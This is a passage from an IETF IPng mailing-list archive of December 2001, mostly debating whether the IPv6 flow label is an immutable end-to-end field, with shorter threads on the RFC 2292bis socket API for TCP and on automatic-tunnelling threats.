Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Francis Dupont Cc: "Hesham Soliman (ERA)" , "'jarno.rajahalme@nokia.com'" , kre@munnari.OZ.AU, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <200112201932.fBKJWGD65882@givry.rennes.enst-bretagne.fr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Francis Dupont wrote: ... >> PS: I can read between the lines that an end-to-end usage of > the flow label is proposed. IMHO this is only a waste of bits, > the flow label is in the header in order to be available to > intermediate nodes. For end-to-end options, a destination header > fits better. There's nothing between the lines: the argument is *very explicit* that we want e2e flow labels if they are to be of any use for QOS (intserv, diffserv, or any future QOS solution). An extension header is useless. It's too clumsy and too far down the packet for line-speed hardware matching. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 03:16:12 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLBGCZR000311 for ; Fri, 21 Dec 2001 03:16:12 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLBGCH4000310 for ipng-dist; Fri, 21 Dec 2001 03:16:12 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLBG9ZR000303 for ; Fri, 21 Dec 2001 03:16:09 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA13281 for ; Fri, 21 Dec 2001 03:16:09 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA27711 for ; Fri, 21 Dec 2001 03:16:08 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id MAA12322; Fri, 21 Dec 2001 12:16:07 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA29366 from ; Fri, 21 Dec 2001 12:16:04 +0100 Message-Id: <3C2319F5.8DEE6F39@hursley.ibm.com> Date: Fri, 21 Dec 2001 12:16:05 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Margaret Wasserman Cc: Tony Hain , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4.2.2.20011220133537.024a12e0@mail.windriver.com> <4.2.2.20011220144423.01f5e100@mail.windriver.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret, The current flow label definition is vague and useless and people designing line-speed ASICs and network processors can't use it. If it is defined architecturally as an immutable e2e value, there are immediate ways to use it in hardware that will work for any semantics we may later add to it. If we don't define it properly now, it will simply be 20 dead bits for ever. Brian Margaret Wasserman wrote: > > At 02:06 PM 12/20/01 , Tony Hain wrote: > >Absolutely NOT!!! We already have too many mechanisms that > >allow/encourage the value to be modified in route, and this field is the > >only one we have left that can have meaning end-to-end. THERE IS NO > >REASON TO CREATE ANOTHER ONE! We need to take an architectural stand > >here and say that if you want to modify something along the path use the > >DSCP or MPLS or VPN or GRE or your favorite random scheme. > > Hmmm... I've apparently hit a nerve here. But, I still don't > I get it. What goals would we further by taking "an architectural > stand" on this issue? What value would this change add to the > existing standards? > > >The > >host/application needs a way to inform anyone along the path that may > >care, 'this set of packets belong together'. If we allow violation of > >that principle simply because the control freaks want to be able to > >modify anything and everything, we might as well give up on ever having > >applications that expect more than random treatment from the network. > > In order for a host/application to _actually_ inform intermediate > routers that a set of packets belong together, we would need to > define a flow label that achieves that goal. > > In my opinion, we have two choices: > > (1) Define these 20-bits of the IPv6 header so that they > can be used by any (or many different) flow > management system(s). > (2) Define specific semantics for this field that can be > used by intermediate routers to optimize packet > processing, without an external flow-management > system. > > It isn't possible to do both at once. > > To achieve (1), we should include only the rules required to keep > non-flow-managed nodes from interfering with mechanisms that use > this field -- those rules are already in RFC 2460. I don't think > that we should restrict this field any more than is absolutely > necessary. > > To achieve (2), we should define how routers will identify a > _single_ flow using only this field. In my opinion, this would > involve some mechanism for the routers to understand the flow > lifetime. This should be defined to be safe across source host > and router re-boots, etc. > > I don't understand what we gain by trying to do something > in between. > > And, in either case, I don't understand why this would need to > be specified as part of the core IPv6 specifications. > > Margaret > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 03:20:36 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLBKZZR000414 for ; Fri, 21 Dec 2001 03:20:35 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLBKZJL000413 for ipng-dist; Fri, 21 Dec 2001 03:20:35 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLBKWZR000406 for ; Fri, 21 Dec 2001 03:20:32 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA25645 for ; Fri, 21 Dec 2001 03:20:32 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA04886 for ; Fri, 21 Dec 2001 04:20:31 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id MAA11868; Fri, 21 Dec 2001 12:20:30 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA13538 from ; Fri, 21 Dec 2001 12:20:28 +0100 Message-Id: <3C231AFC.6529C82D@hursley.ibm.com> Date: Fri, 21 Dec 2001 12:20:28 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Tony Hain Cc: Margaret Wasserman , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Tony is 100% correct in all his comments. I'd add that hop-by-hop options are not even on the radar screen for hardware implementation, but for QOS flows we absolutely need things that hardware can process at line speed. Brian Tony Hain wrote: > > Margaret Wasserman wrote: > > What is wrong with a hop-by-hop option? Isn't that the "right" > > mechanism for an IPv6 host to send a "message" that is processed > > by all routers in the path? > > Hop-by-hop options will be slower to process, and the point is that the > origin knows which packets belong together in any specific flow, and > there is no way the routers can deduce that. If the origin specifies > which packets belong together, there is no valid reason for anything > along the path to decide otherwise. > > > >You are assuming that every router along the path is part of the same > > >administrative system and would react consistently to the marking. > > > > No I'm not assuming that all routers in the path will understand > > the flow label. I am assuming, though, that the flow label will > > only be _useful_ within an administrative system that has > > a consistent (or at least compatible) understanding of its meaning. > > I didn't state my argument clearly. I agree that not all routers along > the path may care to pay attention, but as you said your assumption is > that the ones that do are all are part of a single administrative > system. This is not reasonable to assume in the general case, so what I > am arguing is that routers in any independent administrative system in > the path have consistent information to base decisions on. How they > acquire the interpretation is independent of the fact that the bits are > consistent throughout. > > > I don't understand how these three systems can usefully interpret > > the same bits in two different ways. If I am choosing a random > > flow label value at the source (with an "interactive system" that > > indicates its meaning out-of-band), why won't I just get random > > behaviour from the intermediate domain in your example? > > You might, but if we allow the intermediate domain to independently > modify the bits there is no hope that the remote domain can get it > right. As I said earlier, it is possible for the intermediate system to > provide a predictable behavior based on the additional knowledge of FL > without explicit knowledge of the semantics, but that might be more > along the lines of drop-probability than EF or the like. > > > Then, why not leave the specification of flow label semantics and > > rules to this same WG? > > Because the participants in those WGs have consistently proven they > don't understand the concept of an architecturally consistent immutable > field which the origin can trust. > > Tony > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 03:22:54 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLBMsZR000472 for ; Fri, 21 Dec 2001 03:22:54 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLBMsqJ000471 for ipng-dist; Fri, 21 Dec 2001 03:22:54 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLBMpZR000461 for ; Fri, 21 Dec 2001 03:22:51 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA13656 for ; Fri, 21 Dec 2001 03:22:51 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA00471 for ; Fri, 21 Dec 2001 03:22:50 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id MAA06954; Fri, 21 Dec 2001 12:22:48 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA24714 from ; Fri, 21 Dec 2001 12:22:47 +0100 Message-Id: <3C231B88.C6BF4B5B@hursley.ibm.com> Date: Fri, 21 Dec 2001 12:22:48 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Tony Hain Cc: Muhammad Jaseemuddin , Margaret Wasserman , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk If NSIS came up with something like that, they would be alarmingly far out of their objectives. That kind of signalling is already fully defined by intserv and diffserv. Brian Tony Hain wrote: > > Muhammad Jaseemuddin wrote: > > I completely agree with you that unless we have a > > signalling/flow-establishment mechanism we cannot really define the > > flow-label usage in a meaninful way. Perhaps we should wait until new > > NSIS sginalling might come-up with some usage and mechanism for this > > bit-space. > > But it is the responsibility of this group to restrict their domain of > choices to things that make architectural sense. As I said in the last > note to Margaret, the participants in the QoS WGs have consistently > proven they don't understand the value of an end-to-end constant. If we > don't point out that the DSCP is their mutable field to play with so > leave the FL alone, we will end up with 2 random numbers and application > developers will continue to ignore QoS because they have no means to > express their intent that will be valid at all points in the path. > > Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 03:27:14 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLBREZR000512 for ; Fri, 21 Dec 2001 03:27:14 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLBRDor000511 for ipng-dist; Fri, 21 Dec 2001 03:27:13 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLBRAZR000504 for ; Fri, 21 Dec 2001 03:27:10 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA13989 for ; Fri, 21 Dec 2001 03:27:11 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA02071 for ; Fri, 21 Dec 2001 03:27:09 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id MAA12376 for ; Fri, 21 Dec 2001 12:27:08 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA52880 from ; Fri, 21 Dec 2001 12:27:07 +0100 Message-Id: <3C231C8C.C39645EB@hursley.ibm.com> Date: Fri, 21 Dec 2001 12:27:08 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Tony Hain wrote: ... > I think the group is converging on modifing that text to: > > Hosts or routers that do not support the functions of the Flow Label > field are required to set the field to zero when originating a packet, > and ignore the field when receiving a packet. All routers are required > to pass the field on unchanged when forwarding a packet. What he said. The last 20 messages or so have strengthened my conviction that this is what we need (plus draft-rajahalme- updated as a rationale). Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 04:35:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLCZRZR000844 for ; Fri, 21 Dec 2001 04:35:27 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLCZRtP000843 for ipng-dist; Fri, 21 Dec 2001 04:35:27 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLCZNZR000836 for ; Fri, 21 Dec 2001 04:35:23 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA20101 for ; Fri, 21 Dec 2001 04:35:24 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA12937 for ; Fri, 21 Dec 2001 05:36:10 -0700 (MST) Received: from localhost ([3ffe:501:100f:13ff::a]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBLCZ9364635; Fri, 21 Dec 2001 21:35:11 +0900 (JST) Date: Fri, 21 Dec 2001 18:38:44 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Erik Nordmark Cc: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis In-Reply-To: References: User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 48 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Fri, 21 Dec 2001 01:23:45 +0100 (CET), >>>>> Erik Nordmark said: >> 3. there are currently RFC2292-style applications deployed. It is easy >> for such applications to migrate to rfc2292bis-03 than to >> rfc2292bis-02. (The opposite argument may apply for >> rfc2292bis-02-style applications, of course.) > Are there TCP applications which use RFC 2292 style for accessing received > extension headers? > I thought we had concluded that no TCP applications existed that access > the received stuff (even tough telnet can set things like routing headers > for transmit). Okay, compatibility to existing applications should actually not matter. >> As for the symmetric behavior in the original motivation, we've >> already solved it by separating IPV6_XXX and IPV6_RECVXXX. So, there >> is no reason to use recvmsg() + ancillary data on TCP sockets for this >> reason. > Yes, but the semantics of IPV6_RECV* on UDP and raw is to enable receipt > which is quite different that actually receiving the content. > Thus they are boolean (int32_t) socket options. > *If* there is a need to have socket options to extract the received > extension headers from the kernel I think it would make sense to > use different socket options and not overloading the existing ones. I'm not sure I can get this argument...in the 03 behavior (as well as in 02), the IPV6_RECVXXX options always set/get an integer, regardless of the socket type (TCP/UDP/raw). These options just tell the kernel if the application wants to receive the incoming extension headers (or other optional info). Then, in 03, UDP or raw sockets get the information as ancillary data and TCP sockets get it via a separate socket option "IPV6_PKTOPTIONS." I think there is no overloading here. Anyway, I think I provided all information to make a decision. If we can reach consensus on a single behavior through all the information, I'll put it in the next revision of the draft. Otherwise, I'll just leave this part unspecified (perhaps with some background.) JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 04:46:54 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLCksZR000893 for ; Fri, 21 Dec 2001 04:46:54 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLCks6n000892 for ipng-dist; Fri, 21 Dec 2001 04:46:54 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLCkoZR000885; Fri, 21 Dec 2001 04:46:50 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA01633; Fri, 21 Dec 2001 04:46:51 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA05039; Fri, 21 Dec 2001 04:46:50 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBLCkTI30284; Fri, 21 Dec 2001 13:46:29 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id NAA05616; Fri, 21 Dec 2001 13:46:29 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBLCkSD68525; Fri, 21 Dec 2001 13:46:28 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112211246.fBLCkSD68525@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Ole Troan cc: Pekka Savola , Tony Hain , Vladislav Yasevich , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-reply-to: Your message of Thu, 20 Dec 2001 16:12:54 GMT. <7t5zo4dan09.fsf@mrwint.cisco.com> Date: Fri, 21 Dec 2001 13:46:28 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: > => be serious, autotunnels are phased out, configured tunnels and 6to4 > are mutually exclusive... mutually exclusive? I don't think so. => if you have a configured tunnel you can use native addresses so you don't need a 6to4 router. They are mutually exclusive in practice (note that 6to4 relays are a different problem, in fact the box where is the local 6to4 relay has a configured tunnel too but with a lot of address checks (FreeBSD) and extra filtering). as was pointed out earlier as long as one uses a different IPv4 source address for the different point to multi-point tunnelling mechanisms there is no problem demultiplexing the packet to the correct tunnel interface. => a configured tunnel is identified by its IPv4 address pair so conflicts can happen only if both ends are involved in a set of mechanisms with more than one element, i.e. in practice the only special case is a configured tunnel between two 6to4 relays... Of course as this is a weak authentication based on addresses one should use usual protections like RPF based ingress filtering. Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 05:17:25 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLDHOZR000965 for ; Fri, 21 Dec 2001 05:17:25 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLDHObh000964 for ipng-dist; Fri, 21 Dec 2001 05:17:24 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLDHLZR000957 for ; Fri, 21 Dec 2001 05:17:21 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA23754 for ; Fri, 21 Dec 2001 05:17:23 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA28189 for ; Fri, 21 Dec 2001 06:18:12 -0700 (MST) Received: from IPv16 (as1b-67.chi.il.dial.anet.com [198.92.157.67]) by zeus.anet-chi.com (8.12.1/8.12.0) with SMTP id fBLDGij5008968; Fri, 21 Dec 2001 07:16:45 -0600 (CST) Message-ID: <028801c18a23$c3a76320$1000a8c0@Unir.com> From: "Jim Fleming" To: "Brian E Carpenter" , "Tony Hain" Cc: "Margaret Wasserman" , References: <3C231AFC.6529C82D@hursley.ibm.com> Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 07:30:45 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Beginners may also want to keep up with the current specs for IPv6 used in infiniBAND. Only the essential elements are used. http://www.infinibandta.org ----- Original Message ----- From: "Brian E Carpenter" To: "Tony Hain" Cc: "Margaret Wasserman" ; Sent: Friday, December 21, 2001 5:20 AM Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > Tony is 100% correct in all his comments. I'd add that > hop-by-hop options are not even on the radar screen for > hardware implementation, but for QOS flows we absolutely > need things that hardware can process at line speed. > > Brian > > Tony Hain wrote: > > > > Margaret Wasserman wrote: > > > What is wrong with a hop-by-hop option? Isn't that the "right" > > > mechanism for an IPv6 host to send a "message" that is processed > > > by all routers in the path? > > > > Hop-by-hop options will be slower to process, and the point is that the > > origin knows which packets belong together in any specific flow, and > > there is no way the routers can deduce that. If the origin specifies > > which packets belong together, there is no valid reason for anything > > along the path to decide otherwise. > > > > > >You are assuming that every router along the path is part of the same > > > >administrative system and would react consistently to the marking. > > > > > > No I'm not assuming that all routers in the path will understand > > > the flow label. I am assuming, though, that the flow label will > > > only be _useful_ within an administrative system that has > > > a consistent (or at least compatible) understanding of its meaning. > > > > I didn't state my argument clearly. I agree that not all routers along > > the path may care to pay attention, but as you said your assumption is > > that the ones that do are all are part of a single administrative > > system. This is not reasonable to assume in the general case, so what I > > am arguing is that routers in any independent administrative system in > > the path have consistent information to base decisions on. How they > > acquire the interpretation is independent of the fact that the bits are > > consistent throughout. > > > > > I don't understand how these three systems can usefully interpret > > > the same bits in two different ways. If I am choosing a random > > > flow label value at the source (with an "interactive system" that > > > indicates its meaning out-of-band), why won't I just get random > > > behaviour from the intermediate domain in your example? > > > > You might, but if we allow the intermediate domain to independently > > modify the bits there is no hope that the remote domain can get it > > right. As I said earlier, it is possible for the intermediate system to > > provide a predictable behavior based on the additional knowledge of FL > > without explicit knowledge of the semantics, but that might be more > > along the lines of drop-probability than EF or the like. > > > > > Then, why not leave the specification of flow label semantics and > > > rules to this same WG? > > > > Because the participants in those WGs have consistently proven they > > don't understand the concept of an architecturally consistent immutable > > field which the origin can trust. > > > > Tony > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 05:24:15 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLDOFZR000997 for ; Fri, 21 Dec 2001 05:24:15 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLDOFc3000996 for ipng-dist; Fri, 21 Dec 2001 05:24:15 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLDOBZR000989; Fri, 21 Dec 2001 05:24:12 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA24213; Fri, 21 Dec 2001 05:24:13 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA21468; Fri, 21 Dec 2001 06:24:11 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBLDNeU25736; Fri, 21 Dec 2001 15:23:40 +0200 Date: Fri, 21 Dec 2001 15:23:39 +0200 (EET) From: Pekka Savola To: Brian E Carpenter cc: 